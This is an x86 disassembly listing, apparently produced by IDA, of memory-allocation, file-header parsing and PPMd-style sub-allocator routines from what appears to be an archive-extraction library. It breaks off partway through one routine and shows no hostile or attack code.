arg_0		= dword	ptr  8
Memory		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+Memory]
		test	ebx, ebx
		jnz	short loc_9B2040
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_9B2157
; ---------------------------------------------------------------------------


loc_9B2040:				; CODE XREF: sub_9B202D+9j
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_9B1F6C
		test	eax, eax
		pop	ecx
		jnz	short loc_9B2057


loc_9B204F:				; CODE XREF: sub_9B202D+37j
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_9B2156
; ---------------------------------------------------------------------------


loc_9B2057:				; CODE XREF: sub_9B202D+20j
		push	73h
		pop	eax
		call	sub_9B1DF0
		test	eax, eax
		mov	[ebp+Memory], eax
		jz	short loc_9B204F
		test	byte ptr [eax+3], 80h
		push	esi
		jz	short loc_9B2072
		push	2


loc_9B206F:				; CODE XREF: sub_9B202D+4Ej
		pop	esi
		jmp	short loc_9B2097
; ---------------------------------------------------------------------------


loc_9B2072:				; CODE XREF: sub_9B202D+3Ej
		cmp	word ptr [eax+5], 0Dh
		jnb	short loc_9B207D
		push	0FFFFFFFEh
		jmp	short loc_9B206F
; ---------------------------------------------------------------------------


loc_9B207D:				; CODE XREF: sub_9B202D+4Aj
		push	411BD8h		; Size
		call	malloc
		mov	esi, eax
		xor	edi, edi
		cmp	esi, edi
		pop	ecx
		jnz	short loc_9B20A6
		mov	eax, [ebp+Memory]
		or	esi, 0FFFFFFFFh


loc_9B2097:				; CODE XREF: sub_9B202D+43j
		push	eax		; Memory
		call	free
		pop	ecx
		mov	eax, esi
		jmp	loc_9B2155
; ---------------------------------------------------------------------------


loc_9B20A6:				; CODE XREF: sub_9B202D+62j
		or	dword ptr [esi+40D7F4h], 0FFFFFFFFh
		lea	eax, [esi+408B10h]
		push	eax
		mov	[esi+40D7CCh], edi
		mov	[esi+40D7B0h], edi
		mov	[esi+40D7A0h], edi
		mov	[esi+40D7A8h], edi
		mov	[esi+40D7A4h], edi
		mov	[esi+40D7ACh], edi
		call	sub_9B36BD
		mov	eax, [ebp+Memory]
		mov	ax, [eax+5]
		cmp	ax, 0Dh
		pop	ecx
		jbe	short loc_9B2137
		movzx	eax, ax
		push	1
		sub	eax, 0Dh
		push	eax
		push	[ebp+arg_0]
		call	sub_9B505B
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9B2137
		push	[ebp+Memory]	; Memory
		mov	edi, free
		call	edi ; free
		lea	eax, [esi+408B10h]
		push	eax
		call	sub_9B36D0
		push	esi
		call	sub_9B0DBC
		lea	eax, [esi+40D7CCh]
		push	eax
		call	sub_9B3A3D
		push	esi		; Memory
		call	edi ; free
		add	esp, 14h
		push	0FFFFFFFEh
		pop	eax
		jmp	short loc_9B2155
; ---------------------------------------------------------------------------


loc_9B2137:				; CODE XREF: sub_9B202D+BCj
					; sub_9B202D+D4j
		mov	eax, [ebp+Memory]
		mov	[ebx+10h], eax
		mov	eax, [ebp+arg_0]
		mov	[ebx+1Ch], eax
		mov	[ebx+0Ch], esi
		mov	[ebx+4], edi
		mov	[ebx+8], edi
		mov	dword ptr [ebx+18h], 1
		xor	eax, eax


loc_9B2155:				; CODE XREF: sub_9B202D+74j
					; sub_9B202D+108j
		pop	esi


loc_9B2156:				; CODE XREF: sub_9B202D+25j
		pop	edi


loc_9B2157:				; CODE XREF: sub_9B202D+Ej
		pop	ebx
		pop	ebp
		retn
sub_9B202D	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B215A	proc near		; CODE XREF: sub_9B02F5+6Cp

arg_0		= dword	ptr  4

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_0]
		push	74h
		push	dword ptr [edi+1Ch]
		call	sub_9B1E8C
		xor	ebp, ebp
		cmp	eax, ebp
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jnz	short loc_9B217C
		xor	eax, eax
		inc	eax
		jmp	loc_9B2217
; ---------------------------------------------------------------------------


loc_9B217C:				; CODE XREF: sub_9B215A+18j
		push	esi
		push	21h		; Size
		call	malloc
		mov	esi, eax
		cmp	esi, ebp
		pop	ecx
		jnz	short loc_9B2194


loc_9B218C:				; CODE XREF: sub_9B215A+A0j
		or	eax, 0FFFFFFFFh
		jmp	loc_9B2216
; ---------------------------------------------------------------------------


loc_9B2194:				; CODE XREF: sub_9B215A+30j
		push	ebx
		mov	ebx, [edi]
		push	1
		push	ebp
		push	ebp
		push	dword ptr [ebx+20h]
		call	__allmul
		mov	ecx, [ebx+7]
		xor	ebx, ebx
		add	eax, ecx
		push	1
		adc	edx, ebx
		push	ebp
		mov	[esi], eax
		mov	[esi+4], edx
		mov	ebx, [edi]
		push	ebp
		push	dword ptr [ebx+24h]
		call	__allmul
		mov	ecx, [ebx+0Bh]
		xor	ebx, ebx
		add	eax, ecx
		mov	[esi+8], eax
		adc	edx, ebx
		mov	[esi+0Ch], edx
		mov	eax, [edi]
		mov	eax, [eax+10h]
		mov	[esi+18h], eax
		mov	eax, [edi]
		mov	al, [eax+19h]
		mov	[esi+20h], al
		mov	eax, [edi]
		push	dword ptr [eax+28h] ; Src
		call	_strdup
		cmp	eax, ebp
		pop	ecx
		mov	[esi+10h], eax
		pop	ebx
		jnz	short loc_9B21FC
		push	esi		; Memory
		call	free
		pop	ecx
		jmp	short loc_9B218C
; ---------------------------------------------------------------------------


loc_9B21FC:				; CODE XREF: sub_9B215A+96j
		mov	[esi+14h], ebp
		mov	[esi+1Ch], ebp
		mov	eax, [edi+8]
		cmp	eax, ebp
		jnz	short loc_9B220E
		mov	[edi+4], esi
		jmp	short loc_9B2211
; ---------------------------------------------------------------------------


loc_9B220E:				; CODE XREF: sub_9B215A+ADj
		mov	[eax+14h], esi


loc_9B2211:				; CODE XREF: sub_9B215A+B2j
		mov	[edi+8], esi
		xor	eax, eax


loc_9B2216:				; CODE XREF: sub_9B215A+35j
		pop	esi


loc_9B2217:				; CODE XREF: sub_9B215A+1Dj
		pop	edi
		pop	ebp
		retn
sub_9B215A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B221A	proc near		; CODE XREF: sub_9B02F5+81p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		push	edi
		mov	edi, eax
		mov	[ebp+arg_0], eax
		movzx	eax, word ptr [edi+5]
		add	eax, [edi+2Ch]
		push	0
		push	eax
		push	dword ptr [esi+1Ch]
		call	sub_9B505B
		movzx	ecx, word ptr [edi+5]
		add	ecx, [edi+2Ch]
		add	esp, 0Ch
		cmp	eax, ecx
		jz	short loc_9B2254
		push	dword ptr [edi+28h]


loc_9B224C:				; CODE XREF: sub_9B221A+15Cj
		mov	edi, free
		jmp	short loc_9B228C
; ---------------------------------------------------------------------------


loc_9B2254:				; CODE XREF: sub_9B221A+2Dj
		mov	ax, [edi+3]
		test	al, 4
		jz	short loc_9B229C
		mov	eax, [esi+8]
		mov	dword ptr [eax+1Ch], 1


loc_9B2266:				; CODE XREF: sub_9B221A+84j
					; sub_9B221A+93j ...
		mov	edi, [esi]
		push	0
		mov	eax, edi
		push	dword ptr [eax+30h]
		push	dword ptr [esi+1Ch]
		call	sub_9B505B
		add	esp, 0Ch
		push	dword ptr [edi+28h] ; Memory
		cmp	eax, [edi+30h]
		mov	edi, free
		jz	loc_9B237B


loc_9B228C:				; CODE XREF: sub_9B221A+38j
		call	edi ; free
		push	dword ptr [esi]	; Memory
		call	edi ; free
		pop	ecx
		pop	ecx
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_9B239B
; ---------------------------------------------------------------------------


loc_9B229C:				; CODE XREF: sub_9B221A+40j
		test	al, 3
		jnz	short loc_9B2266
		mov	eax, [esi+10h]
		mov	ax, [eax+3]
		test	al, 1
		jz	short loc_9B22AF
		test	al, 8
		jnz	short loc_9B2266


loc_9B22AF:				; CODE XREF: sub_9B221A+8Fj
		push	dword ptr [edi+0Bh] ; Size
		lea	eax, [esi+24h]
		push	8302h		; char
		push	eax		; int
		call	sub_9B50DB
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_9B22CE
		mov	eax, [esi]
		jmp	loc_9B2373
; ---------------------------------------------------------------------------


loc_9B22CE:				; CODE XREF: sub_9B221A+ABj
		mov	ecx, [esi+0Ch]
		mov	[ecx], eax
		mov	edx, [esi]
		mov	[esi+20h], eax
		cmp	byte ptr [edx+19h], 30h
		jnz	short loc_9B22F2
		push	dword ptr [edx+7]
		push	eax
		push	dword ptr [esi+1Ch]
		call	sub_9B1FC1
		add	esp, 0Ch
		jmp	loc_9B2266
; ---------------------------------------------------------------------------


loc_9B22F2:				; CODE XREF: sub_9B221A+C2j
		mov	eax, [edx+0Bh]
		and	dword ptr [ecx+40D7C8h], 0
		mov	[ecx+40D7C4h], eax
		mov	eax, [esi]
		mov	eax, [eax+7]
		mov	[ecx+40D7F8h], eax
		mov	eax, [esi]
		cmp	byte ptr [eax+18h], 0Fh
		ja	short loc_9B2331
		cmp	dword ptr [esi+18h], 1
		jbe	short loc_9B2329
		mov	eax, [esi+10h]
		test	byte ptr [eax+3], 8
		jz	short loc_9B2329
		xor	eax, eax
		inc	eax
		jmp	short loc_9B232B
; ---------------------------------------------------------------------------


loc_9B2329:				; CODE XREF: sub_9B221A+FFj
					; sub_9B221A+108j
		xor	eax, eax


loc_9B232B:				; CODE XREF: sub_9B221A+10Dj
		push	ecx
		push	eax
		push	0Fh
		jmp	short loc_9B2354
; ---------------------------------------------------------------------------


loc_9B2331:				; CODE XREF: sub_9B221A+F9j
		cmp	dword ptr [esi+18h], 1
		jnz	short loc_9B2343
		test	byte ptr [eax+3], 10h
		jz	short loc_9B2343
		add	word ptr [eax+3], 0FFF0h


loc_9B2343:				; CODE XREF: sub_9B221A+11Bj
					; sub_9B221A+121j
		mov	eax, [esi]
		push	ecx
		xor	ecx, ecx
		mov	cl, [eax+3]
		movzx	eax, byte ptr [eax+18h]
		and	ecx, 10h
		push	ecx
		push	eax


loc_9B2354:				; CODE XREF: sub_9B221A+115j
		push	dword ptr [esi+1Ch]
		call	sub_9B1DD3
		add	esp, 10h
		test	eax, eax
		jnz	loc_9B2266
		mov	eax, [esi]
		test	byte ptr [eax+3], 10h
		jz	loc_9B2266


loc_9B2373:				; CODE XREF: sub_9B221A+AFj
		push	dword ptr [eax+28h] ; Memory
		jmp	loc_9B224C
; ---------------------------------------------------------------------------


loc_9B237B:				; CODE XREF: sub_9B221A+6Cj
		call	edi ; free
		push	dword ptr [esi]	; Memory
		call	edi ; free
		mov	eax, [esi+0Ch]
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9B2396
		add	eax, 40D7CCh
		push	eax
		call	sub_9B3A3D
		pop	ecx


loc_9B2396:				; CODE XREF: sub_9B221A+16Ej
		inc	dword ptr [esi+18h]
		xor	eax, eax


loc_9B239B:				; CODE XREF: sub_9B221A+7Dj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_9B221A	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B239F	proc near		; CODE XREF: sub_9B02F5+C2p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+20h]
		test	eax, eax
		push	edi
		mov	edi, [esi+0Ch]
		jz	short loc_9B23B6
		push	eax
		call	sub_9B4F5C
		pop	ecx


loc_9B23B6:				; CODE XREF: sub_9B239F+Ej
		add	edi, 408B10h
		push	edi
		call	sub_9B36D0
		push	dword ptr [esi+10h] ; Memory
		mov	edi, free
		call	edi ; free
		push	dword ptr [esi+0Ch]
		call	sub_9B0DBC
		mov	eax, [esi+0Ch]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_9B23EB
		add	eax, 40D7CCh
		push	eax
		call	sub_9B3A3D
		pop	ecx


loc_9B23EB:				; CODE XREF: sub_9B239F+3Ej
		push	dword ptr [esi+0Ch] ; Memory
		call	edi ; free
		pop	ecx
		pop	edi
		pop	esi
		retn
sub_9B239F	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B23F4	proc near		; CODE XREF: sub_9B2497+25p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword ptr [eax], 0
		and	dword ptr [eax+4], 0
		retn
sub_9B23F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B2400	proc near		; CODE XREF: sub_9B24D9+2Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_9B241E
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_9B2417
		push	eax		; Memory
		call	free
		pop	ecx


loc_9B2417:				; CODE XREF: sub_9B2400+Dj
		and	dword ptr [esi], 0
		and	dword ptr [esi+4], 0


loc_9B241E:				; CODE XREF: sub_9B2400+7j
		pop	esi
		retn
sub_9B2400	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B2420	proc near		; CODE XREF: sub_9B4C4B+76p
					; sub_9B4C4B+15Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		add	[esi+4], eax
		mov	eax, [esi+4]
		lea	eax, [eax+eax*4]
		shl	eax, 3
		push	eax		; NewSize
		push	dword ptr [esi]	; Memory
		call	sub_9B2565
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_9B2447
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9B2447:				; CODE XREF: sub_9B2420+23j
		mov	esi, [esi+4]
		push	28h		; Size
		lea	ecx, [esi+esi*4]
		lea	eax, [eax+ecx*8-28h]
		push	0		; Val
		push	eax		; Dst
		call	memset
		add	esp, 0Ch
		xor	eax, eax
		inc	eax
		pop	esi
		retn
sub_9B2420	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B2463	proc near		; CODE XREF: sub_9B0E04+86p
					; sub_9B0E04+168p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		add	[esi+4], eax
		mov	eax, [esi+4]
		shl	eax, 2
		push	eax		; NewSize
		push	dword ptr [esi]	; Memory
		call	sub_9B2565
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_9B248A
		and	[esi+4], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9B248A:				; CODE XREF: sub_9B2463+20j
		mov	ecx, [esi+4]
		and	dword ptr [eax+ecx*4-4], 0
		xor	eax, eax
		inc	eax
		pop	esi
		retn
sub_9B2463	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B2497	proc near		; CODE XREF: sub_9B0E04+95p
					; sub_9B0E04:loc_9B0F0Dp
		push	esi
		push	edi
		push	54h		; Size
		call	sub_9B254A
		mov	esi, eax
		xor	edi, edi
		cmp	esi, edi
		pop	ecx
		jnz	short loc_9B24AD
		xor	eax, eax
		jmp	short loc_9B24D6
; ---------------------------------------------------------------------------


loc_9B24AD:				; CODE XREF: sub_9B2497+10j
		lea	eax, [esi+10h]
		push	eax
		mov	[esi], edi
		mov	[esi+4], edi
		mov	[esi+8], edi
		mov	[esi+0Ch], edi
		call	sub_9B23F4
		pop	ecx
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		mov	[esi+2Ch], edi
		mov	[esi+28h], edi
		mov	[esi+24h], edi
		mov	[esi+50h], edi
		mov	eax, esi


loc_9B24D6:				; CODE XREF: sub_9B2497+14j
		pop	edi
		pop	esi
		retn
sub_9B2497	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9B24D9(void *Memory)

sub_9B24D9	proc near		; CODE XREF: sub_9B06DE+12Ap
					; sub_9B06DE+1B3p ...

Memory		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Memory]
		test	esi, esi
		jz	short loc_9B250E
		mov	eax, [esi+1Ch]
		test	eax, eax
		push	edi
		mov	edi, free
		jz	short loc_9B24F4
		push	eax		; Memory
		call	edi ; free
		pop	ecx


loc_9B24F4:				; CODE XREF: sub_9B24D9+15j
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_9B24FF
		push	eax		; Memory
		call	edi ; free
		pop	ecx


loc_9B24FF:				; CODE XREF: sub_9B24D9+20j
		lea	eax, [esi+10h]
		push	eax
		call	sub_9B2400
		push	esi		; Memory
		call	edi ; free
		pop	ecx
		pop	ecx
		pop	edi


loc_9B250E:				; CODE XREF: sub_9B24D9+7j
		pop	esi
		retn
sub_9B24D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B2510	proc near		; CODE XREF: sub_9B0DBC+32p
					; sub_9B0DBC+3Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_9B2548
		push	edi
		xor	edi, edi
		cmp	[esi+4], edi
		jbe	short loc_9B2532


loc_9B2521:				; CODE XREF: sub_9B2510+20j
		mov	eax, [esi]
		push	dword ptr [eax+edi*4] ;	Memory
		call	sub_9B24D9
		inc	edi
		cmp	edi, [esi+4]
		pop	ecx
		jb	short loc_9B2521


loc_9B2532:				; CODE XREF: sub_9B2510+Fj
		mov	eax, [esi]
		test	eax, eax
		pop	edi
		jz	short loc_9B2541
		push	eax		; Memory
		call	free
		pop	ecx


loc_9B2541:				; CODE XREF: sub_9B2510+27j
		and	dword ptr [esi], 0
		and	dword ptr [esi+4], 0


loc_9B2548:				; CODE XREF: sub_9B2510+7j
		pop	esi
		retn
sub_9B2510	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9B254A(size_t	Size)

sub_9B254A	proc near		; CODE XREF: sub_9B0E04+2BAp
					; sub_9B0E04+34Fp ...

Size		= dword	ptr  4

		mov	eax, [esp+Size]
		test	eax, eax
		jz	short loc_9B2562
		cmp	eax, 0B000000h
		ja	short loc_9B2562
		push	eax		; Size
		call	malloc
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_9B2562:				; CODE XREF: sub_9B254A+6j
					; sub_9B254A+Dj
		xor	eax, eax
		retn
sub_9B254A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B2565(void *Memory,size_t NewSize)

sub_9B2565	proc near		; CODE XREF: sub_9B0E04+D6p
					; sub_9B0E04+431p ...

Memory		= dword	ptr  8
NewSize		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+NewSize], 0
		jz	short loc_9B2598
		cmp	[ebp+NewSize], 0B000000h
		ja	short loc_9B2598
		push	[ebp+NewSize]	; NewSize
		push	[ebp+Memory]	; Memory
		call	realloc
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9B259A
		cmp	[ebp+Memory], eax
		jz	short loc_9B2598
		push	[ebp+Memory]	; Memory
		call	free
		pop	ecx


loc_9B2598:				; CODE XREF: sub_9B2565+7j
					; sub_9B2565+10j ...
		xor	eax, eax


loc_9B259A:				; CODE XREF: sub_9B2565+22j
		pop	ebp
		retn
sub_9B2565	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B259C	proc near		; CODE XREF: sub_9B28AE+4Dp
					; sub_9B2C40+1B8p

arg_0		= dword	ptr  4

		movsx	ecx, word ptr [eax+ecx*2+0B8h]
		movsx	edx, word ptr [eax+edx*2+0B8h]
		sub	edx, ecx
		push	esi
		mov	esi, [esp+4+arg_0]
		lea	ecx, [ecx+ecx*2]
		lea	ecx, [esi+ecx*4]
		movsx	esi, word ptr [eax+edx*2+102h]
		push	edi
		movsx	edi, word ptr [eax+esi*2+0B8h]
		cmp	edi, edx
		jz	short loc_9B25E9
		mov	edi, [eax+esi*4+1Ch]
		dec	esi
		mov	[ecx], edi
		mov	[eax+esi*4+20h], ecx
		movsx	esi, word ptr [eax+esi*2+0B8h]
		lea	edi, [esi+esi*2]
		lea	ecx, [ecx+edi*4]
		sub	edx, esi


loc_9B25E9:				; CODE XREF: sub_9B259C+30j
		movsx	edx, word ptr [eax+edx*2+102h]
		lea	eax, [eax+edx*4+20h]
		mov	edx, [eax]
		pop	edi
		mov	[ecx], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_9B259C	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B25FE	proc near		; CODE XREF: sub_9B2613+12p
					; sub_9B36D0+9j ...
		cmp	dword ptr [eax+1Ch], 0
		jz	short locret_9B2612
		push	dword ptr [eax+10h] ; Memory
		and	dword ptr [eax+1Ch], 0
		call	free
		pop	ecx

locret_9B2612:				; CODE XREF: sub_9B25FE+4j
		retn
sub_9B25FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B2613	proc near		; CODE XREF: sub_9B36DE+16p
					; sub_9B3705+CCp
		push	ebx
		mov	ebx, eax
		shl	ebx, 14h
		cmp	[edi+1Ch], ebx
		jnz	short loc_9B2623
		xor	eax, eax
		inc	eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_9B2623:				; CODE XREF: sub_9B2613+9j
		mov	eax, edi
		call	sub_9B25FE
		cmp	ebx, 83FFFF4h
		jbe	short loc_9B2636
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_9B2636:				; CODE XREF: sub_9B2613+1Dj
		push	esi
		push	0Ch
		xor	edx, edx
		pop	ecx
		mov	eax, ebx
		div	ecx
		inc	eax
		lea	esi, [eax+eax*2]
		shl	esi, 2
		push	esi		; Size
		call	malloc
		test	eax, eax
		pop	ecx
		mov	[edi+10h], eax
		jz	short loc_9B2663
		lea	eax, [eax+esi-0Ch]
		mov	[edi+8], eax
		xor	eax, eax
		mov	[edi+1Ch], ebx
		inc	eax


loc_9B2663:				; CODE XREF: sub_9B2613+41j
		pop	esi
		pop	ebx
		retn
sub_9B2613	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B2666	proc near		; CODE XREF: sub_9B2A03+25p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		push	98h		; Size
		lea	eax, [esi+20h]
		push	0		; Val
		push	eax		; Dst
		call	memset
		mov	edi, [esi+1Ch]
		add	esp, 0Ch
		push	8
		pop	ebx
		mov	eax, edi
		cdq
		idiv	ebx
		push	0Ch
		pop	ebx
		xor	edx, edx
		push	0Ch
		mov	ecx, [esi+10h]
		mov	[esi], ecx
		div	ebx
		xor	edx, edx
		mov	ebx, eax
		imul	ebx, 54h
		sub	edi, ebx
		mov	eax, edi
		mov	[ebp+var_4], eax
		pop	edi
		div	edi
		push	0Ch
		lea	eax, [eax+eax*2]
		lea	eax, [edx+eax*4]
		lea	edi, [eax+ecx]
		mov	eax, [ebp+var_4]
		add	ecx, eax
		mov	[esi+0Ch], ecx
		pop	ecx
		xor	edx, edx
		mov	eax, ebx
		div	ecx
		push	4
		mov	[esi+4], edi
		mov	[esi+14h], edi
		lea	ecx, [esi+0B8h]
		lea	eax, [eax+eax*2]
		lea	eax, [edi+eax*4]
		pop	edi
		mov	[esi+18h], eax
		xor	eax, eax
		push	2
		inc	eax
		mov	edx, edi
		pop	ebx


loc_9B26E3:				; CODE XREF: sub_9B2666+84j
		mov	[ecx], ax
		add	ecx, ebx
		inc	eax
		dec	edx
		jnz	short loc_9B26E3
		inc	eax
		lea	ecx, [esi+0C0h]
		mov	edx, edi


loc_9B26F5:				; CODE XREF: sub_9B2666+97j
		mov	[ecx], ax
		add	ecx, ebx
		add	eax, ebx
		dec	edx
		jnz	short loc_9B26F5
		inc	eax
		lea	ecx, [esi+0C8h]
		mov	edx, edi


loc_9B2708:				; CODE XREF: sub_9B2666+ABj
		mov	[ecx], ax
		add	ecx, ebx
		add	eax, 3
		dec	edx
		jnz	short loc_9B2708
		push	1Ah
		inc	eax
		lea	ecx, [esi+0D0h]
		pop	edx


loc_9B271D:				; CODE XREF: sub_9B2666+BFj
		mov	[ecx], ax
		add	ecx, ebx
		add	eax, edi
		dec	edx
		jnz	short loc_9B271D
		xor	edx, edx
		xor	eax, eax
		mov	[esi+204h], dx
		lea	ecx, [esi+104h]


loc_9B2738:				; CODE XREF: sub_9B2666+F3j
		lea	edi, [edx+1]
		movsx	edx, word ptr [esi+eax*2+0B8h]
		xor	ebx, ebx
		cmp	edx, edi
		setl	bl
		mov	edx, edi
		add	eax, ebx
		mov	[ecx], ax
		inc	ecx
		inc	ecx
		cmp	edx, 80h
		jl	short loc_9B2738
		pop	edi
		pop	ebx
		leave
		retn
sub_9B2666	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B275F	proc near		; CODE XREF: sub_9B28AE+15p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ecx+14h]
		cmp	eax, [ecx+18h]
		jz	short loc_9B2770
		mov	byte ptr [eax],	0


loc_9B2770:				; CODE XREF: sub_9B275F+Cj
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_C]
		push	26h
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], eax
		lea	edx, [ecx+20h]
		lea	esi, [ecx+0B8h]
		pop	edi
		jmp	short loc_9B27B1
; ---------------------------------------------------------------------------


loc_9B278A:				; CODE XREF: sub_9B275F+55j
		mov	eax, [edx]
		mov	ebx, [eax]
		mov	[edx], ebx
		lea	ebx, [ebp+var_C]
		mov	[eax+4], ebx
		mov	ebx, [ebp+var_C]
		mov	[eax], ebx
		mov	ebx, [ebp+var_C]
		mov	[ebx+4], eax
		mov	[ebp+var_C], eax
		or	word ptr [eax+8], 0FFFFh
		mov	bx, [esi]
		mov	[eax+0Ah], bx


loc_9B27B1:				; CODE XREF: sub_9B275F+29j
					; sub_9B275F+5Dj
		cmp	dword ptr [edx], 0
		jnz	short loc_9B278A
		inc	esi
		inc	esi
		add	edx, 4
		dec	edi
		jnz	short loc_9B27B1
		mov	eax, [ebp+var_C]
		lea	esi, [ebp+var_C]
		cmp	eax, esi
		mov	edx, eax
		jz	loc_9B289E
		jmp	short loc_9B27F9
; ---------------------------------------------------------------------------


loc_9B27D0:				; CODE XREF: sub_9B275F+AAj
		movzx	esi, word ptr [eax+0Ah]
		movzx	edi, word ptr [edx+0Ah]
		add	esi, edi
		cmp	esi, 10000h
		jge	short loc_9B280B
		mov	esi, [eax+4]
		mov	edi, [eax]
		mov	[esi], edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	[esi+4], edi
		mov	ax, [eax+0Ah]
		add	[edx+0Ah], ax


loc_9B27F9:				; CODE XREF: sub_9B275F+6Fj
					; sub_9B275F+B3j
		movzx	eax, word ptr [edx+0Ah]
		lea	eax, [eax+eax*2]
		lea	eax, [edx+eax*4]
		cmp	word ptr [eax+8], 0FFFFh
		jz	short loc_9B27D0


loc_9B280B:				; CODE XREF: sub_9B275F+81j
		mov	edx, [edx]
		lea	eax, [ebp+var_C]
		cmp	edx, eax
		jnz	short loc_9B27F9
		jmp	loc_9B289B
; ---------------------------------------------------------------------------


loc_9B2819:				; CODE XREF: sub_9B275F+144j
		mov	edi, [eax]
		lea	edx, [eax+4]
		mov	esi, [edx]
		mov	[esi], edi
		mov	edx, [edx]
		mov	esi, [eax]
		mov	[esi+4], edx
		movzx	edx, word ptr [eax+0Ah]
		cmp	edx, 80h
		jle	short loc_9B285E
		lea	esi, [edx-81h]
		shr	esi, 7
		inc	esi
		mov	edi, esi
		neg	edi
		shl	edi, 7
		add	edx, edi


loc_9B2848:				; CODE XREF: sub_9B275F+FDj
		mov	edi, [ecx+0B4h]
		mov	[eax], edi
		mov	[ecx+0B4h], eax
		add	eax, 600h
		dec	esi
		jnz	short loc_9B2848


loc_9B285E:				; CODE XREF: sub_9B275F+D4j
		movsx	edi, word ptr [ecx+edx*2+102h]
		movsx	esi, word ptr [ecx+edi*2+0B8h]
		cmp	esi, edx
		jz	short loc_9B2891
		movsx	ebx, word ptr [ecx+edi*2+0B6h]
		dec	edi
		mov	esi, edx
		sub	esi, ebx
		sub	edx, esi
		lea	esi, [ecx+esi*4+1Ch]
		mov	ebx, [esi]
		lea	edx, [edx+edx*2]
		lea	edx, [eax+edx*4]
		mov	[edx], ebx
		mov	[esi], edx


loc_9B2891:				; CODE XREF: sub_9B275F+111j
		lea	edx, [ecx+edi*4+20h]
		mov	esi, [edx]
		mov	[eax], esi
		mov	[edx], eax


loc_9B289B:				; CODE XREF: sub_9B275F+B5j
		mov	eax, [ebp+var_C]


loc_9B289E:				; CODE XREF: sub_9B275F+69j
		lea	edx, [ebp+var_C]
		cmp	eax, edx
		jnz	loc_9B2819
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9B275F	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B28AE	proc near		; CODE XREF: sub_9B2934+45p
					; sub_9B2981+26p
		cmp	word ptr [esi+204h], 0
		jnz	short loc_9B28D7
		mov	ecx, esi
		mov	word ptr [esi+204h], 0FFh
		call	sub_9B275F
		lea	ecx, [esi+edi*4+20h]
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_9B28D7
		mov	edx, [eax]
		mov	[ecx], edx
		retn
; ---------------------------------------------------------------------------


loc_9B28D7:				; CODE XREF: sub_9B28AE+8j
					; sub_9B28AE+22j
		mov	edx, edi
		lea	eax, [esi+edi*4+20h]


loc_9B28DD:				; CODE XREF: sub_9B28AE+3Bj
		inc	edx
		add	eax, 4
		cmp	edx, 26h
		jz	short loc_9B2905
		cmp	dword ptr [eax], 0
		jz	short loc_9B28DD
		push	ebx
		mov	ebx, [esi+edx*4+20h]
		mov	eax, [ebx]
		mov	[esi+edx*4+20h], eax
		push	ebx
		mov	ecx, edi
		mov	eax, esi
